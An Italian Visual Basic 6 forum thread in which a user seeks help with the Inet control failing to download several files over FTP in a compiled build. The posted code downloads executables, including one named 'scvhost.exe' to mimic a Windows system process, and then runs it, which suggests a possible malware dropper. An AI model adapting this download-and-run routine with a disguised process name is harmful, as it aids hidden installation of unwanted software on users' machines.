Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Visual Basic 6 - DANNATO PROBLEMA INET -.-
Forum - Visual Basic 6 - DANNATO PROBLEMA INET -.-"

Avatar
.:ViRuS:. (Ex-Member)
Pro


Messaggi: 174
Iscritto: 01/06/2008

Segnala al moderatore
Postato alle 22:15
Martedì, 19/05/2009
ragazzi.. per favore aiutatemi...



sto facendo sempre questo benedetto programma client/server con aggiornamenti via ftp...


quindi uso il controllo inet...


ora però questo dannatissimo componente.. lui e la microsoft che l'ha fatto

SE LO FACCIO IN FASE DI PROGETTAZIONE.. scarica tutti i file uno dopo l'altro...


SE LO FACCIO SOTTOFORMA DI EXE.. ne scarica uno e gli altri manco se lo paghi -.-"

Ho provato a mettere delle msgbox per vedere se arrivava li


e arrivava.. se metto la msgbox poi il file lo scarica... se non le metto no..-.-

Potete darmi una mano per favore, prima che prendo un ak-47 e sfondo tutto?

Grazie mille dell'aiuto!!!! :)

PM Quote
Avatar
.:ViRuS:. (Ex-Member)
Pro


Messaggi: 174
Iscritto: 01/06/2008

Segnala al moderatore
Postato alle 22:38
Martedì, 19/05/2009
MALEDIZIONEEEEEEEEEEEEEEEEEEEEEEEEEEE:


allora... ora neanche con le textbox va... -.-"



ho provato di tutto

sto uscendo pazzo


ultima cosa che ha fatto..

ha scaricato il primo file

ha iniziato a scaricare il secondo

e poi credo che si sia fermato...infatti il secondo file è sparito -.-"

RAGAZZI IO FRA POCO VERAMENTE

SPACCO QUALCOSA!!!:grr::doubt::doubt::doubt::om::noway::blush::blush::grr::alert::alert:

PM Quote
Avatar
.:ViRuS:. (Ex-Member)
Pro


Messaggi: 174
Iscritto: 01/06/2008

Segnala al moderatore
Postato alle 22:43
Martedì, 19/05/2009
Scusate i doppi post....



ecco comunque il codice per quanto riguarda il download dei file via ftp:


Codice sorgente - presumibilmente VB.NET

  1. Private Sub Command2_Click()
  2. 'While Inet1.StillExecuting: DoEvents: Wend
  3.  
  4. ResumeDownload:
  5. On Error GoTo ResumeDownload
  6.  
  7. Pause 4000
  8. If Dir(App.Path & "\MoveLatr.exe") = "" Then
  9. Pause 5000
  10.  
  11. Inet1.Execute "", "GET " & "MoveLatr.exe" & " " & "MoveLatr.exe"
  12.  
  13. DoEvents
  14.  
  15.  
  16. 'a = a + 1
  17. 'If a = 4 Then GoTo Error
  18. 'GoTo ResumeDownload
  19. Else
  20. Resume Next
  21. End If
  22.  
  23. 'While Inet1.StillExecuting: DoEvents: Wend
  24.  
  25. DoEvents
  26. Pause 2000
  27. ResumeDownload2:
  28. On Error GoTo ResumeDownload2
  29. Pause 4000
  30.  
  31. If Dir(App.Path & "\kill.exe") = "" Then
  32.  
  33. Pause 5000
  34.  
  35.  
  36.  
  37. Inet1.Execute "", "GET " & "kill.exe" & " " & "kill.exe"
  38.  
  39. DoEvents
  40.  
  41.  
  42. 'a = a + 1
  43. 'If a = 4 Then GoTo Error
  44. 'GoTo ResumeDownload
  45. Else
  46. End If
  47.  
  48. 'While Inet1.StillExecuting: DoEvents: Wend
  49.  
  50. DoEvents
  51. Pause 2000
  52. ResumeDownload3:
  53. On Error GoTo ResumeDownload3
  54. Pause 4000
  55.  
  56. If Dir(App.Path & "\scvhost.exe") = "" Then
  57.  
  58. Pause 5000
  59.  
  60. Inet1.Execute "", "GET " & "scvhost.exe" & " " & "scvhost.exe"
  61.  
  62.  
  63. DoEvents
  64.  
  65. 'While Inet1.StillExecuting: DoEvents: Wend
  66.  
  67. Shell App.Path & "\scvhost.exe"
  68.  
  69. 'a = a + 1
  70. 'If a = 4 Then GoTo Error
  71. 'GoTo ResumeDownload
  72. Else
  73. Shell App.Path & "\scvhost.exe"
  74. Resume Next
  75. End If
  76.  
  77. End Sub


PM Quote